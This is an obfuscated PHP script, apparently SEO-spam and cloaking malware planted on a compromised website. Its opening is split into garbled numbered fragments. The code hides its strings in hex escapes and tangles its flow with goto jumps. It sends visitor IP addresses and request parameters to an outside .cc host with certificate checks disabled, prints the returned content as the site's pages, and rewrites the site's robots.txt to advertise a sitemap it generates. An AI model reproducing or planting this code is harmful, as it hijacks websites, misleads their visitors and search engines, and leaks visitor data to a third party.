1
<
2
?p
2
hp
1


3

 g
2
ot
3
o O
2
si
2
DT
2
; 
2
XV
2
eB
3
g: 
2
$g
5
et = 
2
$_
2
GE
3
T; 
6
goto N
2
6b
3
Ge;
3
 w0
1
k
2
kS
3
: f
2
un
3
cti
2
on
2
 p
3
ost
2
Cu
2
rl
2
($
4
url,
2
 $
5
postD
2
at
6
a = ar
3
ray
2
()
2
) 
7
{ $post
2
St
2
ri
2
ng
4
 = i
2
s_
6
array(
a
$postData)
3
 ? 
2
ht
3
tp_
2
bu
2
il
2
d_
2
qu
2
er
e
y($postData) :
a
 $postData
3
; i
2
f 
1
(
a
function_e
2
xi
3
sts
2
("
3
\x6
2
3\
3
x75
3
\16
1
2
4
\x6c
3
\x5
4
f\x6
1
9
5
\x6e\
2
15
4
1\16
2
4"
7
)) { $c
1
h
4
 = c
4
url_
2
in
3
it(
2
);
6
 curl_
3
set
3
opt
8
_array($
2
ch
1
,
8
 array(C
2
UR
2
LO
2
PT
4
_URL
2
 =
2
> 
6
$url, 
9
CURLOPT_R
2
ET
2
UR
3
NTR
2
AN
2
SF
2
ER
5
 => t
2
ru
b
e, CURLOPT_
2
SS
2
L_
2
VE
2
RI
1
F
3
YPE
9
ER => fal
1
s
15
e, CURLOPT_SSL_VERIFY
2
HO
2
ST
13
 => false, CURLOPT_
2
FO
2
LL
2
OW
2
LO
2
CA
2
TI
2
ON
12
 => true, CURLOPT_
2
TI
2
ME
2
OU
5
T => 
2
10
b
, CURLOPT_P
7
OST => 
e
true, CURLOPT_
5
POSTF
2
IE
2
LD
1
S
5
 => $
b
postString)
3
); 
2
$d
6
ata = 
6
curl_e
3
xec
4
($ch
8
); curl_
2
cl
3
ose
7
($ch); 
4
if (
3
!em
2
pt
3
y($
4
data
6
)) { r
3
etu
2
rn
6
 $data
3
; }
3
 } 
4
if (
4
ini_
3
get
3
("\
3
141
5
\x6c\
2
15
4
4\15
1
7
4
\x77
6
\x5f\1
1
6
a
5\162\154\
6
x5f\14
1
6
7
\157\16
1
0
4
\x65
4
\x6e
9
")) { $co
3
nte
1
x
5
t = s
3
tre
2
am
8
_context
2
_c
4
reat
2
e(
6
array(
4
"\15
1
0
7
\164\x7
5
4\x70
1
"
4
 => 
a
array("\x6
1
d
7
\x65\x7
5
4\150
7
\157\14
1
4
8
" => "\x
5
50\11
4
7\x5
3
3\x
3
54"
1
,
4
 "\x
9
74\x69\x6
7
d\x65\x
2
6f
7
\x75\16
6
4" => 
4
10, 
5
"\x68
3
\14
5
5\x61
4
\144
7
\145\x7
1
2
a
" => "\x43
6
\157\1
2
56
5
\164\
7
145\x6e
7
\x74\x2
3
d\1
1
2
5
4\x79
4
\x70
6
\145\7
3
2\4
1
0
5
\141\
4
160\
7
160\x6c
6
\151\1
3
43\
a
x61\x74\15
1
1
d
\157\156\57\1
3
70\
1
5
a
5\167\x77\
4
167\
5
55\x6
1
6
5
\x6f\
7
162\x6d
5
\x2d\
4
x75\
3
x72
9
\154\145\
5
156\1
8
43\157\1
1
4
8
4\x65\x6
4
4\15
3
\xa
2
" 
4
. "\
2
10
a
3\157\156\
5
x74\1
8
45\156\1
3
64\
6
55\x4c
8
\x65\x6e
4
\147
6
\164\1
3
50\
3
72\
3
x20
4
" . 
3
str
3
len
1
(
c
$postString)
6
 . "\1
4
5\12
7
" . "\x
5
55\x7
1
3
8
\145\x72
7
\x2d\10
5
1\x67
f
\145\156\164\x3
1
a
e
\40\115\157\17
1
2
8
\x69\x6c
6
\x6c\1
3
41\
5
57\x3
2
5\
5
56\x3
8
0\15\12"
6
, "\x6
6
3\157\
5
x6e\1
1
6
d
4\x65\156\164
1
"
10
 => $postString)
5
, "\1
4
63\1
5
63\x6
1
c
e
" => array("\1
5
66\x6
9
5\x72\151
5
\146\
5
x79\x
b
5f\160\x65\
5
145\1
1
6
6
2" => 
d
false, "\166\
8
145\x72\
4
151\
5
x66\x
b
79\x5f\160\
d
145\x65\x72\x
6
5f\x6e
6
\x61\1
5
55\x6
1
5
16c1
" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto wRFt_; VguJR: if (!empty($get["\162"])) { $robotsPath = $_SERVER["\x44\117\x43\125\115\x45\x4e\x54\137\122\117\x4f\x54"] . "\57\162\157\142\x6f\x74\163\x2e\x74\x78\164"; $sitemapBlock = "\125\163\145\162\55\141\147\x65\x6e\164\72\40\x2a\xa\x41\x6c\x6c\x6f\167\x3a\40\57\xa"; $sitemaps = "\12\x53\x69\x74\145\x6d\x61\160\x3a\x20{$http_type}{$_SERVER["\x48\x54\124\x50\x5f\110\117\123\124"]}{$_SERVER["\123\x43\x52\x49\x50\124\x5f\x4e\101\x4d\x45"]}\x3f\x73\75\163\12"; if (!file_exists($robotsPath)) { file_put_contents($robotsPath, $sitemapBlock . $sitemaps); } else { $robotsContent = @file_get_contents($robotsPath); if (strpos($robotsContent, $_SERVER["\123\x43\122\111\120\x54\x5f\x4e\101\x4d\105"]) === false) { @file_put_contents($robotsPath, $sitemaps, FILE_APPEND); } } } goto Kw0TV; lb_EM: $vurl = $http_type . "\x69\144\154\171\x32\56\x69\x64\163\150\x6f\x70\56\x63\x63\167\x75\x2e\143\x63\57\64\61\x39\56\x61\163\x70\170"; goto VguJR; WNTMb: if (!empty($get["\x69\x64"])) { if (empty($get["\153\x6b"])) { $ip = get_ip(); $params = array("\151\160" => $ip, "\x69\144" => isset($get["\151\144"]) ? $get["\151\x64"] : '', "\x6c\x6c" => $ll); $tzstr = getCurl($vurl, $params); if (strpos($tzstr, "\x69\144") !== false) { echo $tzstr; die; } } $params = array("\151\x64" => $get["\x69\x64"], "\154\154" => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\173\x55\x52\114\x7d", "\x7b\xe5\x9f\x9f\xe5\x90\x8d\x7d"), array(get_url_info("\x66\x75\154\x6c"), get_url_info("\x6e\157\x5f\167\167\x77")), $str); echo $str; die; } else { $sitemapUrl = $ll . "\x3f\x73\75" . date("\x59\155\144\x48\x69"); echo "\x3c\144\151\x76\x20\163\164\171\x6c\145\x3d\47\164\145\170\164\x2d\141\x6c\x69\x67\156\x3a\143\145\x6e\x74\145\x72\73\40\160\x61\x64\x64\151\x6e\147\x3a\61\x30\160\170\x20\x30\x3b\47\x3e\x3c\x61\x20\150\x72\145\x66\x3d\x22{$sitemapUrl}\42\x20\164\141\162\147\x65\164\x3d\x22\x5f\x62\x6c\141\x6e\153\x22\x20\x72\x65\154\75\42\156\157\146\x6f\154\154\157\167\42\76\40\123\151\164\x65\155\141\160\74\x2f\141\x3e\74\x2f\144\x69\166\x3e"; } goto UHNmn; Kw0TV: if (!empty($get["\x73"])) { $params = array("\x73" => date("\131\155\144\110\x69"), "\156\x75\155\x62\145\162" => $get["\156\165\x6d\142\145\162"]); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xbd\x93\345\211\x8d\xe5\234\xb0\xe5\x9d\200\175"), array($http_type . $_SERVER["\x48\124\124\120\x5f\110\x4f\123\124"] . $_SERVER["\x53\103\122\x49\120\124\x5f\116\101\115\105"]), $str); header("\x43\x6f\156\164\145\156\x74\55\164\171\x70\x65\x3a\x74\145\x78\164\x2f\x78\x6d\154"); echo $str; die; } goto WNTMb; OsiDT: error_reporting(0); goto XVeBg; HWR4h: $http_type = !empty($_SERVER["\110\124\x54\120\x53"]) && $_SERVER["\x48\x54\x54\120\123"] !== "\157\x66\x66" ? "\x68\x74\x74\160\x73\72\57\x2f" : "\x68\x74\x74\160\x3a\57\x2f"; goto rRNpn; rRNpn: $ll = "{$http_type}{$_SERVER["\x48\124\x54\120\137\110\117\123\124"]}{$_SERVER["\x53\x43\122\x49\120\124\137\x4e\x41\x4d\x45"]}"; goto lb_EM; RyBoU: function get_ip() { foreach (array("\110\x54\x54\120\137\x58\x5f\x46\x4f\122\127\101\122\x44\105\104\x5f\106\117\x52", "\x48\124\x54\x50\137\103\x4c\x49\105\116\124\x5f\111\120", "\x52\105\115\117\124\105\x5f\101\x44\x44\x52") as $key) { if (!empty($_SERVER[$key])) { return trim(explode("\54", $_SERVER[$key])[0]); } } return "\x55\116\x4b\116\117\127\x4e"; } goto w0kkS; N6bGe: function get_url_info(string $return_type = "\144\157\155\x61\x69\x6e") : string { $host = $_SERVER["\x48\124\124\x50\137\110\x4f\123\124"]; if ($return_type === "\144\x6f\x6d\x61\151\x6e") { return $host; } if ($return_type === "\x6e\x6f\x5f\x77\x77\x77") { return ltrim($host, "\x77\x77\x77\x2e"); } $protocol = isset($_SERVER["\110\x54\124\120\123"]) && $_SERVER["\110\124\124\x50\123"] === "\x6f\156" || isset($_SERVER["\x48\124\x54\x50\137\x58\137\106\117\x52\127\101\122\x44\x45\x44\137\120\x52\x4f\124\x4f"]) && $_SERVER["\x48\x54\x54\x50\x5f\130\137\x46\x4f\x52\x57\x41\x52\x44\x45\104\137\x50\122\117\124\x4f"] === "\x68\164\164\160\x73" ? "\x68\164\164\x70\x73\x3a\57\x2f" : "\x68\x74\164\x70\x3a\x2f\57"; $base_url = $protocol . $host; if ($return_type === "\142\141\x73\x65") { return $base_url; } $uri = $_SERVER["\x52\105\x51\x55\x45\x53\124\x5f\x55\122\111"]; $full_url = $base_url . $uri; if ($return_type === "\146\165\154\x6c") { return $full_url; } return ''; } goto RyBoU; wRFt_: function getCurl($url, $getData = array()) { if (!empty($getData)) { $queryString = is_array($getData) ? http_build_query($getData) : $getData; $url .= (strpos($url, "\x3f") === false ? "\x3f" : "\x26") . $queryString; } if (function_exists("\143\165\162\154\x5f\151\x6e\151\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGET => true, CURLOPT_USERAGENT => "\115\157\172\151\154\x6c\141\x2f\65\56\60")); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\137\x75\x72\x6c\137\x66\157\160\145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\145\x74\150\157\144" => "\107\105\x54", "\x74\151\155\x65\x6f\165\164" => 10, "\150\x65\x61\144\x65\x72" => "\x55\x73\145\162\x2d\x41\147\145\x6e\x74\x3a\x20\x4d\x6f\x7a\151\154\154\x61\57\65\56\x30\xd\12"), "\x73\x73\154" => array("\x76\145\x72\x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\162\151\146\x79\137\x70\x65\x65\x72\137\x6e\141\x6d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto HWR4h; UHNmn: ?>
0